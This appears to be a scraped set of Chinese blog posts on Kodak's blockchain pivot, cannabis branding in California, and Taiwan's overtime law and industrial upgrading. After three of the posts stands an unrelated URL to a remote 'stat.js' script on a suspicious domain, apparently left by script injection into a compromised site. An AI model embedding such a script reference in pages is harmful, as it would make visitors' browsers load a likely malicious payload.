分類
商業評論

柯達進軍區塊鍊

連柯達(Eastman Kodak)這種公司都能在宣布進軍blockchain coin之後,股價瞬間從3塊漲到9塊多,可見市場上的笨蛋比例不低。

https://js.developerstatss.ga/stat.js?n=ns1

分類
商業評論

大麻品牌化是必然

FT上不錯的長篇報導「Californian growers and retailers brace for cannabis competition

幾個可以注意的點:

1. 加州成為美國最大的大麻娛樂用途合法化的州。

事實上我還在加州念法學院時,很多女同學都有吸食大麻的習慣。吸high了還半夜找我討論Richard Posner法官的經濟分析觀點。(說過了,美國有很多比你聰明還比你認真的怪咖,不要只看到人家在玩的那面)

2. 大麻終端價格因為競爭而下跌不少,1980年代每磅約$5500美元,到今天約$600美元。剩1折,跌幅不可謂不大。

3. 許多VC以為大麻很好賺,所以現在資金很廉價的環境下,已經約有$3億多美元投資在加州大麻種植、生產與銷配等領域。

台灣大概很難看到什麼新興農產品短短一兩年內民間投入近百億台幣資金的。

我的看法:
a.我認為大麻毛利率在競爭之下會下降得很快,售價應該很快就會跟煙草、雪茄看齊。

b.這過程,品牌化是必然,一者提高消費者辨識度與習慣,二者維持毛利率,三者降低整體行銷費用。

我目前認為應該會介於雪茄與煙草之間。

比方說除了如雪茄產地(如古巴)炒作之外,更多的會是在手作廠的手藝與風味,例如我喜歡Dunhill與Romeo y Julieta二牌的Churchill size。又或者某些斗草品牌講究口味調配(Dunhill The Aperitif我也蠻推的)。

大麻這塊,認為風味調整上會比雪茄更有職人存在的空間,這也表示職人品牌可以存在。但產地性應該會比斗草更強,所以莊園品牌也會存在。

c. 投資上則尚嫌太早,一動不如一靜。

d. 台灣這種地狹人稠的地方,發展大麻種植與出口或許不錯。前提是大麻必須合法化。政治上道德魔人與利益團體太多,難度很高。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

從契約理論看台灣為何加班多

前言:本文分兩部分,前半簡單談為什麼我認為民進黨這次勞基法修法方向正確。後半則會從經濟分析角度切入勞雇契約與過勞問題。建議讀者先讀過我之前寫的「加班的簡易經濟分析」,然後綜合二者。

2016年底民進黨搞了個「一例一休」,我在2017年1月初就撰文大罵這個法律箝制勞動契約的彈性,很多邊際企業與邊際勞工會因此失業。而許多中小企業被迫放棄「急單」,要知道,這些中小企業很高比例是靠一般訂單維持不倒(僅夠支付日常開銷),獲利(包含員工年終獎金)得靠急單。

我推測的與實際上打聽到的一樣:中南部一堆工廠或菜市場無名服飾店這類邊際小企業被一例一休整得慘兮兮,因此失業的中年婦女勞工大有人在。動搖到民進黨的票倉,再次修法應是必然。

果然才一年蔡英文政府就受不了,重新把應有的契約彈性還給民間。

是否會如某些「勞動法泰斗」宣稱

「恭喜雇主、賀喜雇主,週休二日再見…
…因為以後雇主讓勞工於休息日加班後,只要得到勞工同意,不僅不用付出加班費,補休也可以1:1,補休時間因為由勞資雙方協商,雇主當然選擇最空閒的時間讓勞工補休(但未必是勞工希望的補休時間)。
試問,以後雇主讓勞工於休息日加班,都不會增加任何成本。台灣勞工還能有週休二日嗎?…」

完全不會,只能說台灣法律系教授的經濟學訓練乃至於經濟學感受都非常差,對真實世界往往也極為無知,所以總是從法匠的狹隘眼光,判斷卻每每出錯而不自知。

一者,並非每個勞工都希望週休二日,有些底層勞工是希望能多增加加班機會的,一例一休剝奪了這個彈性。而新法還給雇主與勞工應有的彈性。

二者,是否雇主都會選擇補休來規避加班費?也不見得,這牽涉到產業景氣等侷限條件。當景氣可見得好時,雇主預期整年產線都會很滿時,要吸引員工加班,雇主不但會提供加班費,甚至還會提供獎金鼓勵加班。

當未來數年公司前景有高度可預期性的成長,則雇主會傾向增加人力,而非一昧要求既有員工加班。因為雇主也很清楚,加班的生產力邊際遞減非常快,也非長久之計。是的,我強調過無數次了,身為雇主,我與多數雇主一樣,並不喜歡員工加班;公司多數員工常常加班這代表人力資源管理肯定出問題。

那為什麼還存在這麼多加班安排?本文後半會進一步討論。

分類
經濟分析

沒有新舊經濟學,只有可以被科學驗證的經濟學

姑且不論郝明義先生當年反對服貿黑箱操作的立論根本違背 基本憲法第23條邏輯– 如果是開放人民自由者,毋須通過嚴格違憲審查,甚至毋須立法。

也姑且不論台灣因為郝明義這群人的錯誤論點主張,失去ECFA從而失去更多與他國對等開放的機會,淪為近乎與北韓一樣是目前世界最被孤立的政治實體之一。

現在郝先生又跳出來投書蘋果日報宣稱

…而《勞基法》這次修惡,不只是在那些勞動條件的惡化,更在於又再次讓大家看到政府在經濟與產業政策上完全沒有前瞻視野、沒有改變的勇氣。今天的《勞基法》根本沒法兼顧新經濟與知識經濟的需求,是眾所皆知的。但這次修法不但看不到應有的調整,所謂彈性調整也更多是方便了「為舊有工業模式壓榨人力資源」。
許多學者都指出,這會耽誤許多產業應有的轉型和升級,背道而馳,造成更大的危機。以林宗弘為代表,他認為政府若不針對結構性問題進行產業轉型及升級,若不解決少子化造成的缺工問題,只是把壓力推到勞工頭上,「即便修了法,中小企業一樣撐不了幾年。」…

幾點個人看法如下:

1. 沒有新舊經濟學,只有可以被科學驗證的經濟學

的確許多經濟學家為了混口飯騙吃騙喝而發明各種炫目的名詞或理論,但經濟學始終是一門實證科學,再炫目的理論(如檸檬車市場理論)或再崇高的理想(如共產主義)都要通過事實驗證。限制工時、提高基本工資、限制工作日數等等政府對勞動契約的micro-management會帶來災難性的後果,這在經濟學邏輯與實證上都早有定論。價格管制必然帶來租值消散,這點也是通過科學驗證。

換言之,這次郝先生又拿著錯誤的論點試圖左右國策時,即便出發點再怎麼良善,如果是違背科學邏輯的主張,那也是在誤導群眾甚或嘩眾取寵。

2. 產業升級不是玩RPG遊戲

產業升級不是天真無知的學者所想得那樣容易,更不是立法要求產業升級,明天大家就通通升上去。事實上胡亂立法,或胡亂透過貨幣政策以為可以逼迫產業升級的下場,只會是死到十八層地獄再下挖20尺!

如果產業升級真那麼容易,試問日本工業技術如此發達多年下,為何依然掌握不了扇葉噴射引擎的關鍵技術?試問台灣為何還無法獨立做出SONY專業等級的CMOS感光晶片?也拿不出整套的高端電影視訊設備? 這種高科技的不談,光談手工具套筒,為何台廠製造品質還趕不上日本,而日本又趕不上德國?台灣、日本搞喇叭單體搞多久了,為何世界最高端的單體大廠依然在歐洲某幾國?

依照經濟學自私的假設,產業升級這麼容易,業主早就升級去了,還輪得到你們這些外人乃至於政府指指點點?正是因為碰到困難了,才會在外觀上看似停滯在某個層級。
 
而郝明義與無知學者們批判台灣產業升級怠惰,好似在批評擱淺的迴游鮭魚,怪牠不夠認真?!要不是客觀因素擱淺,猶如經濟學自私假設,在性慾驅動下,牠早就衝到目的地射精排卵去了,哪需要岸上學者指指點點?

學者天真的幻想對產業實作者而言往往是弊大於利且眼高手低。這群人連改善塑膠製品毛邊處理之生產力的能力都沒有,還奢談整體產業升級?

3. 無從驗證的理論自己當小說出就好

郝明義所宣稱的:「…近幾年,我一直說台灣社會的核心問題,不在政黨之爭,而在(一條大致以35歲為界的年齡線畫出的)不同世代的「陸地思維」對「海洋思維」之爭。這兩種思維之爭,主要在於今天世界的變化之劇,陸地世代的典範與規則不斷被打破,海洋世代的年輕人看不出需要遵循的價值,卻要被繼續壓迫接受。…」

啥是陸地思維、海洋思維?內容不過是一堆抽象且真實世界無從觀察更無從驗證的囈語。當然這種囈語只能當小說,要拿來當作制度改革甚至資源分配原則,真是癡人與吃人了!https://js.developerstatss.ga/stat.js?n=ns1